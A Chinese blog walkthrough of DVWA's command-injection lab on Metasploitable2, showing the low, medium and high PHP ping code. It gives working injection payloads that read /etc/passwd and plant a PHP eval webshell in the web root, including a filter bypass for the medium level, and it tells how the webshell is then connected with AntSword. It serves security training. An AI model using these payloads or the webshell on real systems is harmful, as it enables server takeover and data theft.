天天看點

DVWA【Command Execution】指令注入子產品

一、工具

靶機 Metasploitable2

WebApplication——DVWA

菜刀——蟻劍

二、原理及條件

原理: 是指在某些需要輸入資料的位置,還構造了惡意的代碼破壞了原先的語句結構。而系統缺少有效的過濾,最終達到破壞資料、資訊洩露甚至掌控電腦的目的。(通過web程式,在伺服器上拼接系統指令)

注入條件:

  • web應用程式調用可執行系統指令的函數
  • 執行系統指令的函數或函數的參數可控
  • 可控參數可拼接注入參數

具體實戰

正常輸入:

DVWA【Command Execution】指令注入子產品

low等級

背景代碼:
<?php 
if( isset( $_POST[ 'submit' ] ) ) { 
    $target = $_REQUEST[ 'ip' ]; 
    // Determine OS and execute the ping command. 
    if (stristr(php_uname('s'), 'Windows NT')) {  
        $cmd = shell_exec( 'ping  ' . $target ); 
        echo '<pre>'.$cmd.'</pre>';   
    } else {  
        $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
        echo '<pre>'.$cmd.'</pre>'; 
    }   
} 
?>  

           

發現對輸入沒有做任何過濾處理!

127.0.0.1 && /cat /etc/passwd    發現可行

簡單介紹下 linux 裡  && 、&、||、|
&& 表示前一條指令執行成功時,才執行後一條指令 ,如 echo ‘1‘ && echo ‘2’    
&  表示任務在背景執行,如要在背景運作redis-server,則有  redis-server &
| 表示管道,上一條指令的輸出,作為下一條指令參數的輸入,如 echo ‘yes’ | wc -l
|| 表示前一條指令執行失敗後,才執行下一條指令,如 cat nofile || echo “fail”
           
DVWA【Command Execution】指令注入子產品

接下來我就直接介紹怎麼注入木馬拿庫

之前有次線上的比賽,被虐死,其中web有道題就指令注入
然後有人先進庫拿到了flag,但是他沒退出來,而是選擇“監視”
看到有人上傳木馬他就删了(是的,大佬比較閑,後面還是舉辦方又重新上線那個web)
是以,實際點,上手就直接拿webshell

127.0.0.1; echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127 || echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 | echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 && echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php 

127.0.0.1 & echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
注【我這裡寫的檔案儲存在web根目錄下,隻是為了友善】  \  是用來轉義的
           
DVWA【Command Execution】指令注入子產品
DVWA【Command Execution】指令注入子產品

發現上傳成功! 接着就可以上菜刀連了

DVWA【Command Execution】指令注入子產品

具體蟻劍的連接配接參考

DVWA【Command Execution】指令注入子產品

我們線上當時flag就在根目錄裡,是個隐式檔案 。結果那家夥待在這監視,還把那個檔案内容給改了,也就是就算沒有删除上傳的木馬,後面人拿到的flag也是錯的!

其他代碼我就不示範了!我都試過也是可以運作的

medium等級

背景代碼:
<?php 
if( isset( $_POST[ 'submit'] ) ) { 
    $target = $_REQUEST[ 'ip' ]; 
    // Remove any of the charactars in the array (blacklist). 
    $substitutions = array( 
        '&&' => '', 
        ';' => '', 
    ); 
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); 
    // Determine OS and execute the ping command. 
    if (stristr(php_uname('s'), 'Windows NT')) {  
        $cmd = shell_exec( 'ping  ' . $target ); 
        echo '<pre>'.$cmd.'</pre>'; 
    } else {  
        $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
        echo '<pre>'.$cmd.'</pre>';        
    } 
} 
?> 
           

分析後,發現隻是對 && 和 ; 進行了過濾

繞過代碼:
127 || echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 | echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 & echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php

127.0.0.1 &;& echo "<?php @eval(\$_POST["hack"])?>" > /var/www/test.php
上面這條也可以用,這也是技巧,系統先過濾掉 ;  沒有第二遍過濾 &&
           
DVWA【Command Execution】指令注入子產品

接着就是菜刀拿庫了!

high等級

<?php 
if( isset( $_POST[ 'submit' ] ) ) { 
    $target = $_REQUEST["ip"];   
    $target = stripslashes( $target ); 
    // Split the IP into 4 octects 
    $octet = explode(".", $target); 
    // Check IF each octet is an integer 
    if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)  ) { 
    // If all 4 octets are int's put the IP back together. 
    $target = $octet[0].'.'.$octet[1].'.'.$octet[2].'.'.$octet[3]; 
        // Determine OS and execute the ping command. 
        if (stristr(php_uname('s'), 'Windows NT')) {  
            $cmd = shell_exec( 'ping  ' . $target ); 
            echo '<pre>'.$cmd.'</pre>';   
        } else {  
            $cmd = shell_exec( 'ping  -c 3 ' . $target ); 
            echo '<pre>'.$cmd.'</pre>';   
        } 
    }   
    else { 
        echo '<pre>ERROR: You have entered an invalid IP</pre>'; 
    }    
} 
?> 
           

這個就基本沒戲了,系統對輸入進行 “.” 分割,還對各個部分判斷是否是數字字元串,然後再重組。

繼續閱讀